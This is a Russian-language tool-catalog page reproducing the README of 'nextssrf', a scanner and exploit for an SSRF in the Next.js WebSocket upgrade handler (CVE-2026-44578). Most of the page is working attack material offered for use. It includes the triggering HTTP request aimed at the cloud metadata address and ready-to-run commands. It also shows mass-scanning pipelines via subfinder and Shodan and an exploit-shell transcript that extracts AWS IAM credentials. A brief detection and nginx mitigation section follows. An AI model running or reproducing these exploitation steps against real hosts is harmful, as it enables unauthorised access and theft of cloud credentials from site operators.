Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nextssrf — CVE-2026-44578 — сканер и эксплойт для SSRF в обработчике обновления WebSocket в Next.js. Обнаруживает уязвимые версии, извлекает метаданные облака и эксфильтрирует учетные данные IAM через интерактивную оболочку. | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/nextssrf
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииБезопасность облачных сред
GitHubynsmroztas/nextssrf

nextssrf

CVE-2026-44578 — сканер и эксплойт для SSRF в обработчике обновления WebSocket в Next.js. Обнаруживает уязвимые версии, извлекает метаданные облака и эксфильтрирует учетные данные IAM через интерактивную оболочку.

Репозиторий
7620134 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler

Обзор · Установка · Использование · Конвейер · Shodan · Интерактивная оболочка · Отказ от ответственности


Обзор

11 мая 2026 года Vercel исправил CVE-2026-44578 (CVSS 8.6): неаутентифицированная SSRF в обработчике обновления WebSocket в Next.js, затрагивающая все самостоятельно размещённые развёртывания, начиная с версии 13.4.13.

Механизм

GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

// в http:// вызывает досрочный выход из normalizeRepeatedSlashes, устанавливая statusCode: 308 и finished: true. Уязвимый обработчик обновления игнорирует оба флага и вызывает proxyRequest, когда parsedUrl.protocol истинен — проксируя запрос к управляемому злоумышленником хосту на порт 80.

// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

Затронутые версии

ПродуктУязвимые версииИсправление
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Vercel-hosted✅ Не затронутоН/Д

Ограничения

  • Только GET (нет POST/PUT)
  • Только порт 80 (явные порты удаляются нормализацией URL)
  • AWS IMDSv2 не эксплуатируется (требуется токен PUT)
  • Метаданные GCP отклоняют Upgrade: websocket с кодом 400
  • Обратные прокси (nginx/caddy/HAProxy) блокируют URI в абсолютной форме

Демонстрация

NextSSRF — Утекшие учётные данные AWS

Учётные данные AWS IMDSv1, утекшие через CVE-2026-44578 — интерактивная оболочка эксплойта


Установка

git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

Нулевые зависимости — только стандартная библиотека Python. Требуется Python 3.10+.


Использование

Сканирование одной цели

python3 nextssrf.py -t https://target.com

Нацеливание на конкретное облако

# Только метаданные AWS
python3 nextssrf.py -t https://target.com --cloud aws

# Пользовательская внутренняя цель
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Глубокое сканирование (+ внутренние сервисы)
python3 nextssrf.py -t https://target.com --cloud aws --deep

Массовое сканирование (конвейер)

# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# Ввод из файла
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Принудительное сканирование (даже если версия неизвестна)
python3 nextssrf.py -t https://target.com --force

Коды завершения

КодЗначение
0Не уязвим / чист
1Уязвим (без эксплойта)
2SSRF подтверждена

Интерактивная оболочка

Продвинутая оболочка эксплойта с автоматическим обнаружением облака и извлечением учётных данных IAM:

python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

Команды оболочки

КомандаОписание
cloudАвтоматическое определение облака (AWS/Azure/GCP/DO/OCI)
awsПолная цепочка учётных данных AWS IAM
azureТокен управляемого удостоверения Azure
scanОбнаружение облака + автоматический эксплойт
url <http://>Пользовательский SSRF-запрос
get <N>Цель AWS IMDS по индексу
listПоказать все конечные точки IMDS
historyИстория запросов
saveЭкспорт сессии в JSON
quitВыход

Автоматический режим

# Обнаружение облака + автоматический запуск полной цепочки эксплойта
python3 nextssrf.py -t https://target.com --auto

Примеры конвейера

# Полный пайплайн разведки → эксплойта
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Массовое сканирование Shodan → интерактивный режим на подтверждённых хостах
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Проверка конкретного диапазона версий
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

Обнаружение (Синяя команда)

Признаки эксплуатации в логах:

# Журналы процесса Next.js
Failed to proxy http:/   ← одиночный слеш = отпечаток нормализации

# Журналы доступа (URI в абсолютной форме + заголовок Upgrade)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

Смягчение (если невозможно исправить)

# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Ссылки

Скачать инструмент